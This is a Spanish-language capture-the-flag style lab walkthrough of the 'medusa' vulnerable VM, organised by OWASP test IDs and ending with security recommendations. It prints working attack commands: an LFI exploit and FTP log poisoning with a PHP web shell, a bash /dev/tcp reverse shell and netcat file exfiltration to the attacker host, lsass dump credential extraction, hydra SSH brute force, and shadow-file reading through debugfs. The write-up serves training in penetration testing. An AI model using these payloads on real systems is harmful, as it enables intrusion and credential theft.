Laboratorio Guiado - 10-medusa

Objetivo: Realizar un análisis de seguridad ofensiva a un sistema vulnerable, aplicando técnicas de explotación de archivos comprimidos cifrados, inclusión de archivos locales (**LFI**), **log poisoning**, recolección de credenciales **desde volcado de memoria**, **fuerza bruta sobre servicios SSH** y **análisis de privilegios del sistema**. Este laboratorio está diseñado conforme a los controles y categorías establecidos por la guía **OWASP Testing Guide v4** (Enlace a la máquina).

---

1. OTG-INFO-001 – Fingerprinting

Identificación de IP y descubrimiento de servicios

Se realiza un escaneo ARP en la red local para identificar direcciones IP activas. Se filtra la salida buscando un host específico (PCS) y se extrae únicamente su IP:

```
❯ arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'

192.168.192.18
```

Enumeración de puertos (Full TCP scan)

Se ejecuta un escaneo de todos los puertos TCP (`-p-`) utilizando el método SYN Scan (`-sS`) con una tasa mínima de 5000 paquetes por segundo. Esto permite descubrir rápidamente todos los puertos abiertos sin resolución DNS:

```
❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.18

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:18:F9:3E (Oracle VirtualBox virtual NIC)
```

Enumeración de versiones y servicios

Se realiza un escaneo dirigido sobre los puertos previamente detectados para obtener más información sobre los servicios y versiones específicas que se están ejecutando. Esto permite identificar software vulnerable:

```
❯ nmap -sCV -p 21,22,80 -oN 02-targeted.txt 192.168.1.18

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
|   3072 70:d4:ef:c9:27:6f:8d:95:7a:a5:51:19:51:fe:14:dc (RSA)
|   256 3f:8d:24:3f:d2:5e:ca:e6:c9:af:37:23:47:bf:1d:28 (ECDSA)
|_  256 0c:33:7e:4e:95:3d:b0:2d:6a:5e:ca:39:91:0d:13:08 (ED25519)
```

```
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.54 (Debian)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

---

2. OTG-INFO-003 – Identificación de tecnología web y mensajes ocultos

Se accede al servidor web a través del puerto 80. Aunque se presenta la página por defecto del servidor Apache, se encuentra un mensaje oculto en el contenido HTML que sugiere una posible palabra clave a utilizar:

> **Mensaje oculto:**
> *check Kraken open the door.*

---

3. OTG-INFO-007 – Fuerza bruta de recursos (fuzzing de directorios)

Se utiliza Gobuster para realizar fuzzing de rutas en el servidor HTTP. Esto permite descubrir directorios ocultos que no están referenciados directamente:

```
❯ gobuster dir -u 'http://192.168.1.18' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.
3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r

...
/index.html           (Status: 200) [Size: 10674]
/manual               (Status: 200) [Size: 676]
/server-status        (Status: 403) [Size: 277]
/hades                (Status: 200) [Size: 0]
...
```

Posteriormente, se realiza un nuevo escaneo dentro del directorio `/hades`, donde se encuentra un archivo PHP potencialmente interactivo:

```
❯ gobuster dir -u 'http://192.168.1.18/hades' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.
3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r

...
/index.php            (Status: 200) [Size: 0]
/door.php             (Status: 200) [Size: 555]
...
```

---

4. OTG-AUTHN-001 – Autenticación débil basada en tokens o palabras clave

Se accede al archivo /door.php, el cual solicita una palabra mágica a través de un formulario. Se prueba la palabra clave "Kraken", obtenida previamente a partir del mensaje oculto:

```
Please enter the magic word...: Kraken
```

Como resultado, se revela un nuevo dominio interno: `medusa.hmv`, el cual debe ser añadido al archivo `/etc/hosts` para su correcta resolución.

---

5. OTG-DISC-001 – Descubrimiento de subdominios

Mediante fuzzing de encabezados HTTP (`Host`) se descubren subdominios virtuales que responden dentro del mismo servidor. Esta técnica permite identificar entornos paralelos o en desarrollo:

```
❯ ffuf -u 'http://medusa.hmv' -H 'Host: FUZZ.medusa.hmv' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.
3-medium.txt -t 100 -fs 10674

...
dev     [Status: 200, Size: 1973, Words: 374, Lines: 26, Duration: 7ms]
...
```

El subdominio identificado (`dev.medusa.hmv`) también se agrega al archivo `/etc/hosts`:

```
❯ cat /etc/hosts | grep medusa.hmv

...
192.168.1.18     medusa.hmv dev.medusa.hmv
```

---

6. OTG-INFO-007 – Enumeración adicional de directorios

Se realiza un nuevo escaneo de directorios sobre el subdominio `dev.medusa.hmv`. Se descubre el directorio `/files`, accesible vía navegador:

```
❯ gobuster dir -u 'http://dev.medusa.hmv' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.
3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r
...
```

```
/index.html           (Status: 200) [Size: 1973]
/files                (Status: 200) [Size: 0]
/assets               (Status: 200) [Size: 943]
/css                  (Status: 200) [Size: 935]
/manual               (Status: 200) [Size: 676]
/robots.txt           (Status: 200) [Size: 489]
...
```

Escaneamos la ruta /files:

```
❯ gobuster dir -u 'http://dev.medusa.hmv/files' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.
3-medium.txt -x php,txt,html,sql,xml,zip,sh,db -r

...
/index.php            (Status: 200) [Size: 0]
/system.php           (Status: 200) [Size: 0]
/readme.txt           (Status: 200) [Size: 144]
...
```

Al explorar `/files`, se observan los siguientes archivos disponibles públicamente:

`/index.php`

`/system.php`

`/readme.txt`

---

7. OTG-INPVAL-001 – Fuzzing de parámetros

Se prueba fuzzing de parámetros sobre el script `system.php`, simulando una posible vulnerabilidad de inclusión de archivos (**LFI**). El parámetro `view` responde de forma diferente, lo cual indica una potencial vulnerabilidad:

```
❯ ffuf -u 'http://dev.medusa.hmv/files/system.php?FUZZ=/etc/passwd' -w
~/Documentos/wordlists/SecLists/Discovery/Web-Content/directory-list-2.
3-medium.txt -t 100 -fs 0

...
view     [Status: 200, Size: 1452, Words: 14, Lines: 28, Duration: 3ms]
...
```

Se valida la LFI cargando el archivo `/etc/passwd`:

```
❯ curl 'http://dev.medusa.hmv/files/system.php?view=/etc/passwd'

...
root:x:0:0:root:/root:/bin/bash
spectre:x:1000:1000:spectre,,,:/home/spectre:/bin/bash
...
```

---

8. OTG-INPVAL-014 – Log Injection / Log Poisoning

Se confirma que el archivo de logs del servicio FTP (`/var/log/vsftpd.log`) puede ser accedido mediante la LFI descubierta anteriormente:

```
❯ curl 'http://dev.medusa.hmv/files/system.php?view=/var/log/vsftpd.log'
Wed Aug  6 15:03:07 2025 [pid 530] CONNECT: Client "::ffff:192.168.1.4"
...
```

Aprovechando esto, se inyecta código PHP en el log al conectarse al servicio FTP usando una cadena como nombre de usuario. El payload será ejecutado posteriormente al ser interpretado vía LFI:

```
❯ ftp 192.168.1.18
Connected to 192.168.1.18.
220 (vsFTPd 3.0.3)
Name (192.168.1.18:wh01s17): '<?php system($_GET['cmd']); ?>'
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed.
```

Se comprueba que el código PHP fue ejecutado:

```
❯ curl
'http://dev.medusa.hmv/files/system.php?view=/var/log/vsftpd.log&cmd=id'

...
Wed Aug  6 15:33:30 2025 [pid 946] ['uid=33(www-data) gid=33(www-data)
groups=33(www-data)
...
```

Luego se lanza una reverse shell para obtener acceso interactivo:

```
bash -c "bash -i >& /dev/tcp/192.168.1.4/1234 0>&1"
```

```
❯ curl
'http://dev.medusa.hmv/files/system.php?view=/var/log/vsftpd.log&cmd=ba
sh%20-c%20%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.4/1234%200%3E%261%
22'
```

```
❯ ncat -nlvp 1234
...
www-data@medusa:/var/www/dev/files$
```

Obtenemos una shell de **www-data.**

---

9. OTG-CRYPST-001 – Análisis de archivos cifrados (Criptoanálisis)

Accedemos al directorio raíz del sitio y encontramos un subdirectorio denominado “…”.

Al ingresar, identificamos un archivo sospechoso:

```
www-data@medusa:/...$ ls -l
total 12100
-rw------- 1 www-data www-data 12387024 Jan 18  2023 old_files.zip
```

Procedemos a transferir el archivo comprimido a nuestra máquina local para su posterior análisis. En nuestra máquina, configuramos un listener con netcat:

```
❯ nc -lvp 4444 > old_files.zip
Listening on 0.0.0.0 4444

www-data@medusa:/...$ nc 192.168.1.4 4444 < old_files.zip

❯ nc -lvp 4444 > old_files.zip
Listening on 0.0.0.0 4444
Connection received on medusa.hmv 48494
```

El archivo está protegido con contraseña. Se extrae su hash con `zip2john` y se usa `john` para forzar la contraseña:

```
❯ zip2john old_files.zip > zip_hash

❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt zip_hash

...
medusa666        (old_files.zip/lsass.DMP)
...

❯ 7z x old_files.zip

...
Enter password:medusa666
```

Dentro del archivo comprimido se encuentra un volcado de memoria (`lsass.DMP`), que es analizado con `pypykatz` para extraer credenciales:

```
❯ pypykatz lsa --json minidump lsass.DMP > output.txt
INFO:pypykatz:Parsing file lsass.DMP
```

Se filtran los resultados y se generan listas de usuarios y contraseñas:

```
❯ awk -F'"' '/"password":/ {print $4}' output.txt | uniq > passwds.txt

❯ awk -F'"' '/"username":/ {print $4}' output.txt | uniq > users.txt
```

---

10. OTG-AUTHN-004 – Fuerza bruta de autenticación

Se realiza un ataque de diccionario contra el servicio SSH utilizando las credenciales extraídas del volcado de memoria. El acceso exitoso confirma la validez de las credenciales:

```
› hydra -L users.txt -P passwds.txt ssh://192.168.1.18:22 -t 64

...
[22][ssh] host: 192.168.1.18  login: spectre   password: 5p3ctr3_p0is0n_xX
...


› ssh spectre@192.168.1.18

spectre@192.168.1.18's password: 5p3ctr3_p0is0n_xX
...
Last login: Wed Aug  6 16:04:34 2025 from 192.168.1.4
spectre@medusa:~$
```

---

11. OTG-PRIV-001 – Escalada de privilegios

Ya dentro del sistema como el usuario `spectre`, se observa que pertenece al grupo `cdrom`. Esto le permite acceder a sistemas de archivos montados, como discos o imágenes ISO:

```
spectre@medusa:~$ id

uid=1000(spectre) gid=1000(spectre)
groups=1000(spectre),6(disk),24(cdrom),25(floppy),29(audio),30(dip),44(
video),46(plugdev),108(netdev)
```

Se accede a la partición montada con `debugfs` y se extrae el archivo `/etc/shadow`, el cual contiene hashes de las contraseñas del sistema, incluyendo la de `root`:

```
spectre@medusa:~$ lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0    8G  0 disk
├─sda1   8:1    0    7G  0 part /
├─sda2   8:2    0    1K  0 part
└─sda5   8:5    0  975M  0 part [SWAP]
sr0     11:0    1 1024M  0 rom

spectre@medusa:~$ find / -name debugfs 2>/dev/null
/usr/sbin/debugfs

spectre@medusa:~$ /usr/sbin/debugfs /dev/sda1
debugfs 1.46.2 (28-Feb-2021)
debugfs:  cat /etc/shadow
...
root:$y$j9T$AjVXCCcjJ6jTodR8BwlPf.$4NeBwxOq4X0/0nCh3nrIBmwEEHJ6/kDU4503
1VFCWc2:19375:0:99999:7:::
...
```

Finalmente, se crackea la contraseña de root con `john`, logrando una escalada total de privilegios:

```
❯ echo
'root:$y$j9T$AjVXCCcjJ6jTodR8BwlPf.$4NeBwxOq4X0/0nCh3nrIBmwEEHJ6/kDU450
31VFCWc2' > root_hash


❯ john -w=/home/wh01s17/Documentos/wordlists/rockyou.txt root_hash

...
andromeda        (root)
...
```

---

9. Recomendaciones de Seguridad

OTG-INFO-001 – Fingerprinting

- Restringir el uso de herramientas de descubrimiento en redes internas con segmentación y detección de anomalías.

OTG-INFO-003 – Mensajes ocultos en contenido web

- Revisar cuidadosamente los mensajes en páginas de error o por defecto. Evitar dejar pistas innecesarias.

OTG-AUTHN-001 – Autenticación basada en tokens simples

- Evitar mecanismos de autenticación por palabra clave. Utilizar métodos robustos como OAuth2 o JWT con expiración.

OTG-DISC-001 – Subdominios no controlados

- Aislar entornos de desarrollo (como `dev.medusa.hmv`) de producción. Proteger con autenticación o VPN.

OTG-INPVAL-001 y OTG-INPVAL-014 – LFI y Log Poisoning

- Validar y sanitizar todos los parámetros que interactúan con el sistema de archivos. Deshabilitar logs si no son necesarios.
- Separar los logs del sistema de archivos accesibles por web.

OTG-CRYPST-001 – Archivos cifrados con contraseñas débiles

- Utilizar contraseñas fuertes y cifrado con algoritmos actualizados. Auditar archivos comprimidos regularmente.

OTG-AUTHN-004 – Contraseñas débiles extraídas de memoria

- Utilizar políticas de contraseñas seguras. Evitar almacenamiento en texto plano o memoria sin cifrado.

- Proteger procesos sensibles como `lsass` mediante configuraciones y soluciones de seguridad.

OTG-PRIV-001 – Escalada mediante acceso a dispositivos

- Evitar incluir a usuarios en grupos como `cdrom`, `disk`, `audio`, etc.
- Restringir el uso de `debugfs` y monitorizar su ejecución.